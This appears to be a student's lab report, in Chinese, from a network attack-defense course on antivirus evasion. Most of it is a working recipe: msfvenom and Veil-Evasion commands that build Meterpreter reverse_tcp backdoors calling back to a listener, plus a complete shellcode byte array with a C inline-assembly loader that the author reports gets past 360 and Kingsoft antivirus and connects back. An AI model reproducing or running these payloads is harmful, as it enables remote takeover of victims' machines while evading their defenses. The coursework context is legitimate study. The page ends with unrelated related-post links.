2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
实验内容(概要)
一、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1. 使用msf编码器生成各种后门程序及检测
msf编码器是非常实用的,但是我的实践表明,直接实用msf生成后门(exe文件)是不容易躲过杀毒的,因此我认为在这场GAME中MSF试用于生成C语言的shellcode。
2. 使用veil-evasion生成后门程序及检测
同msf一样,直接生成exe难以免杀,C语言程序值得借鉴。
3. 半手工注入Shellcode并执行
鉴于自动生成后门程序的失败,半手工生成shellcode,这应该是最稳妥的方法。
二、通过组合应用各种技术实现恶意代码免杀
经过大量的测试,win10系统自带的Windows Defender难以攻破。
(各种组合均未成功,而且我也没找到怎么看自己Windows Defender的版本,实验日期是190329,由于设置了自动更新,安装的应该是此时最新的Windows Defender)
因此,这次实验我只能退而求其次,以360杀毒作为我的对手。
三、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
靶机也不是Windows Defender。。。。。。
详细说明附后。
基础问题回答
一、杀软是如何检测出恶意代码的?
启发式(长得像坏人、干的事情也像坏人就逮捕他!)、基于程序行为检测(实锤这个程序有没有干一些非法的事情)和基于特征码检测(检测壳、检测shellcode、检测编码头部)。
二、免杀是做什么?
免杀就是针对上面说的——杀软的三个检测方法进行伪装,避免杀软被找到,避免攻击进程被拦截或者杀死。
正所谓道高一尺魔高一丈。。。。。
三、免杀的基本方法有哪些?
针对启发式和程序行为检测:附着在正常/合法程序的后面,同时启动,后台运行,尽量让杀软看不出区别;悄悄地进村,开枪的不要,动静尽量小,操作尽量少。
针对特征码检测:用自己的方法让杀软看不出来shellcode,想办法封装。
实验步骤
Before We Start It
使用360杀毒,程序版本:5.0.0.8150

检查更新:目前是最新版本。
一、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1. 使用msf编码器生成各种后门程序及检测
1.1 不使用任何伪装
首先在kali输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.215 LPORT=5325 -f exe > 5325-1.exe

当拷贝到主机时发现:被逮捕了。

1.2 用MSF对后门程序进行多次编码
msfvenom要用到的参数,供参考:
-a <arch>设置靶机CPU架构--platform <platform>设置靶机平台,可以通过--help-platforms选项查看msfvenom支持的所有平台-p <payload>设置攻击载荷,可以通过-l payloads查看所有攻击载荷-e <encoder>指定编码器,可以通过-l encoders查看所有编码器-i <count>指定编码迭代的次数-x <path>指定模版(合法程序)-k该选项可以保留模版原来的功能,将payload作为一个新的线程来注入,但不能保证可以用在所有可执行程序上(我失败了)。-f <format>指定生成格式,可以是raw,exe,elf,jar,c语言的,python的,java的……,用--help-formats查看所有支持的格式
在kali输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.43.215 LPORT=5325 -f exe > 5325-2.exe

拷贝到主机时又被逮捕了。

所以说直接生成exe是不行的,msfvenom肯定被很多杀软研究过,他生成的exe应该有一定特征(被杀软找到了并且作为特征码查杀)
即使多次编码,就死盯解码部分,那么理论上说,这样是无论如何都行不通的。
这道理我我我我我说不清楚,可以看孙晓暄学姐的博客(瞧瞧这话说的多么有水平!我这文盲语文水平就说不出来)

别问,问就是牛逼。

同样的事情也会发生在jar身上;
在kali输入msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.207 LPORT=5325 -f jar> 5325-8.jar

2. 使用veil-evasion生成后门程序及检测
基于msfvenom的经验,我猜这样是行不通的(先奶一口)。
veil的安装我就不写了,我记得我就sudo apt-get install veil-evasion就好了,可能我那会儿突然欧气了吧,幸运地没有遇到问题。
kali输入veil进入;
接着:Veil>: use Evasion
然后:Veil/Evasion>: list
能看见:
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
[*] Available Payloads:
1) autoit/shellcode_inject/flat.py
2) auxiliary/coldwar_wrapper.py
3) auxiliary/macro_converter.py
4) auxiliary/pyinstaller_wrapper.py
5) c/meterpreter/rev_http.py
6) c/meterpreter/rev_http_service.py
7) c/meterpreter/rev_tcp.py
8) c/meterpreter/rev_tcp_service.py
9) cs/meterpreter/rev_http.py
10) cs/meterpreter/rev_https.py
//后面还有很多
紧接着:Veil/Evasion>: use 7
7就是c/meterpreter/rev_tcp.py,然后设置如下即可生成:
[c/meterpreter/rev_tcp>>]: set LPORT 5325
[c/meterpreter/rev_tcp>>]: set LHOST 192.168.43.215
[c/meterpreter/rev_tcp>>]: generate
起个名:
[>] Please enter the base name for output files (default is payload): 5325-3
回车就ok了:
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
[*] Language: c
[*] Payload Module: c/meterpreter/rev_tcp
[*] Executable written to: /var/lib/veil/output/compiled/5325-3.exe
[*] Source code written to: /var/lib/veil/output/source/5325-3.c
[*] Metasploit Resource file written to: /var/lib/veil/output/handlers/5325-3.rc
Hit enter to continue...
你可以看见,已经生成exe文件到/var/lib/veil/output/compiled/5325-3.exe目录下面了。
拷贝到主机就又被逮捕了。。。。。

3. 半手工注入Shellcode并执行
半手工就是说自己编译执行。
首先在上面veil有一个文件是c语言的( [*] Source code written to: /var/lib/veil/output/source/5325-3.c),可以拷贝到主机看看。

尝试用CB、VC、mingw编译均失败了,报错为 undefined reference to `WSAStartup@8'之类的。
我发现后门的源代码中使用了socket套接字,mingw手工编译时需要链接ws2_32库,输入指令,gcc 5325-3.c -o 5325.exe -lws2_32编译成功。
后面回连成功,没有拦截:

垃圾360:


还有一种方法:使用msfvenom
kali输入:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.43.215 LPORT=5325 -f c生成C语言的代码。

在vc里面运行:
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
//data段可读写
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] =
"\xdb\xde\xbb\x21\x8c\xc5\x6b\xd9\x74\x24\xf4\x5f\x31\xc9\xb1"
"\x93\x83\xef\xfc\x31\x5f\x13\x03\x7e\x9f\x27\x9e\x3a\x9d\x62"
"\x15\xe9\x7b\xab\x0f\x79\x58\xc0\xee\xb0\x69\x99\x83\x83\x3f"
"\xc9\x98\xb5\xac\x6e\x58\x3f\xf4\xf1\x0c\xd0\x06\x92\xe7\x1c"
"\x35\xf8\xb9\x88\x8e\x15\xbb\x71\xf7\x35\x5f\x6b\x8a\x69\xcb"
"\x73\x88\xab\x55\xa8\xdd\x80\xa4\x97\xab\x28\x98\x26\x8a\x3b"
"\x8c\xde\x8a\xa5\x87\x88\x52\x17\x21\x76\xe7\x32\x62\x1b\x32"
"\xf8\x9c\xb3\xd0\x03\xaf\xd0\x50\xa5\x1a\x3f\x26\x35\xf5\x9e"
"\x25\x17\xd0\xbb\xfc\x61\x8d\xa5\xdf\xfd\x13\x8c\xc4\x92\xeb"
"\xf4\xc3\x87\x6e\x74\x98\xad\xee\x0c\x1b\x01\x92\x44\x89\xf6"
"\x3c\x93\x01\xf1\x8c\xb3\x5e\xc8\x66\xff\x97\x22\x51\x1f\x65"
"\x93\x83\x4a\x72\x90\x49\x5e\x90\x2a\x38\x3f\xe5\xf1\x79\x0a"
"\xb7\x51\xe5\xb7\x84\x3d\xaf\x0e\xdf\xfc\x74\x86\x9d\x59\xad"
"\x3a\xbb\x11\x33\x7a\xc6\x62\x5c\xf9\x02\xcd\x0a\xeb\xb1\xd3"
"\x8a\xa2\x0d\xfa\xf8\xec\x37\xdf\xad\xfb\x0c\x4b\xd7\xc9\xab"
"\x51\xd7\x4a\x99\x38\x99\x5b\x6b\x72\x61\x66\x8f\x72\xd0\xbd"
"\x47\x34\x70\xd4\x5e\x71\x0d\x56\x4d\xd0\xaa\xeb\x80\x12\x51"
"\x50\x30\xae\x24\xc2\x76\x68\xd4\x12\xb5\x66\x34\xfd\x6f\x2e"
"\xce\x42\xf5\x7a\xcd\xff\xa2\x3c\x4d\xda\x69\x74\xa4\x1a\x8c"
"\x85\xd0\x38\xd6\x7e\xb8\x4e\x3c\xd7\xbe\x35\xf0\x95\x81\x82"
"\xab\x56\xcb\x39\xa9\x74\x39\x25\xe6\xef\xb1\x9e\xd9\x43\x36"
"\x91\xec\x30\x72\xc1\x83\x05\x25\x03\xfc\xd0\xbf\xc2\x08\x80"
"\x36\xd2\x61\xd8\x9f\xc3\x01\x69\xd1\x26\x4a\x08\x4a\x38\xa2"
"\x8e\x73\x81\xce\x43\x5f\x54\x68\xe2\x4a\x59\xab\x5c\x5b\xaa"
"\xc5\x1e\xc0\x57\x75\x3b\xd2\x5b\xcc\x0d\x8e\xae\x0a\xd6\xbe"
"\x60\x79\xd1\xd6\x1f\x0d\xa4\x80\x8e\xca\x62\x94\xc4\x24\x50"
"\xa0\xdf\x26\x1c\x5a\xe0\x3d\x6c\x0a\xfb\x6b\xc9\x60\x23\xa8"
"\x09\xb8\xfc\xb4\x1b\x67\x6c\x19\x4e\x1e\x8e\xe1\x46\x39\xc5"
"\xc9\x08\x9b\x02\x89\x74\x11\xb1\xf5\x34\x0a\x28\x89\xe4\x24"
"\x5a\x68\xc5\xdf\xa2\xaf\x65\xec\x59\x47\x93\x85\x9e\xae\x61"
"\xe0\xf4\x75\xb6\x24\xc3\x30\xd6\xca\x32\x41\x50\x4b\x3b\xa1"
"\xfa\x30\x92\xb4\xf8\x62\x18\x46\xdb\x8b\x61\xa0\x9c\x1c\x67"
"\x6f\x69\x24\x3d\xb8\x5d\xb3\x5c\x53\x75\xa9\x48\x71\x2f\x0a"
"\x90\x87\xb7\x32\x6c\x5f\xba\x2d\x6e\x9f\x2f\xfc\xf1\x9e\xfb"
"\x48\xbe\x97\xf7\xe3\xb7\x55\x78\x28\xeb\xd3\xcf\xbc\x80\x9b"
"\xa8\x03\x9d\xc1\x28\xe6\x45\x99\x84\xb2\xca\xb7\x44\x90\xde"
"\xd7\x40\xd4\x4c\x4a\x70\x3a\x15\xa1\xcd\x20\x79\x26\xdc\x77"
"\x9e\xea\x4e\x48\x1f\x57\xd0\x44\x8b\x20\x1a\x87\x5c\xe2\xdf"
"\x8a\xb8\x3e\xb5\x34\xaf\xbc\x82\xc9\x3d\x9d\x88\x2f\x6f\xde"
"\xd0\xc8\x19\x3a\x6a\x96\xce\x6a\x05\xcf\x41\x79\x74\x11\xd2"
"\x94\x38\xba\xdb\x22\xc6\x70\x3b\xff\x5c\xde";
int main(){
__asm
{
lea eax, buf;
jmp eax;
}
return 0;
}
再次回连成功:

查不出来,稳得一批。

用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
靶机金山毒霸,回连成功。



心得体会
首先我想说一句,这个东西,很有可能,今天成了,明天就不成功了。
是真的啊,真的可怕。
所以以后不能随便传上网扫了。
还有就是Windows defender牛逼,怎么都成功不了。但是太过敏感的杀软,用户体验也不好,所以呢这可能存在一个平衡吧我猜。
另外,除了后门的生成,后门如何启动也是一个问题。。。。。
最后,我想说,我好菜啊。。。。。
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
随机推荐
- c++ 重点随记
1.在公有继承中:(1).派生类对象储存了基类的私有成员 (2).派生类对象可以使用基类的方法 (3).基类引用可以引用派生类对象,派生类引用不可以引用基类对象 2.基类引用引用派生类对象时:若基类引 ...
- 基于 docker 的yapi(快速部署)
1.使用官方的mongodb镜像 docker run --network yapi_net --ip 172.30.0.10 -d --name yapi_mongodb --restart al ...
- 一、commander
#!/usr/bin/env node const program = require('commander'); const colors = require('colors'); const pk ...
- JS中事件绑定函数,事件捕获,事件冒泡
1 事件绑定:事件与函数绑定以及怎么取消绑定 1.1 元素.onclick这种形式,如下: <div id="div1">aaa</div> <scr ...
- [转帖]优化IMPDP/EXPDP导入导出速度
优化IMPDP/EXPDP导入导出速度 https://www.2cto.com/database/201308/238176.html 一年半没太学习数据库了.. 其实这个parallel 的参数一 ...
- 【MySQL 读书笔记】全局锁 | 表锁 | 行锁
全局锁 全局锁是针对数据库实例的直接加锁,MySQL 提供了一个加全局锁的方法, Flush tables with read lock 可以使用锁将整个表的增删改操作都锁上其中包括 ddl 语句,只 ...
- git总结一、工作中常用基础命令
首先来了解两个概念: 工作区:比如你的项目目录 暂存区:git和其他版本控制系统的不同之处就是有这个暂存区的概念. .git不是工作区,而是git 版本库,在版本库中存放着很多东西,比如暂存区(sta ...
- Spring Boot + Netty 中 @Autowired, @Value 为空解决
问题描述 使用 Spring Boot + Netty 新建项目时 Handler 中的 @Autowired, @Value 注解的始终为空值 解决方法 @Component // 1. 添加 @C ...
- 17年iPhone炫酷铃声,mp3、m4r格式下载
下载链接: https://pan.baidu.com/s/11aj9dBm9upNWpE5jWBgYog
- [BJOI2019]排兵布阵——分组背包
题目链接: [BJOI2019]排兵布阵 对于每座堡垒,将$s$个对手排序,显然如果安排的兵力能打败第$i$个对手就一定能打败前$i-1$个. 那么对于第$i$座城堡,可以看做有$s+1$个物品(可以 ...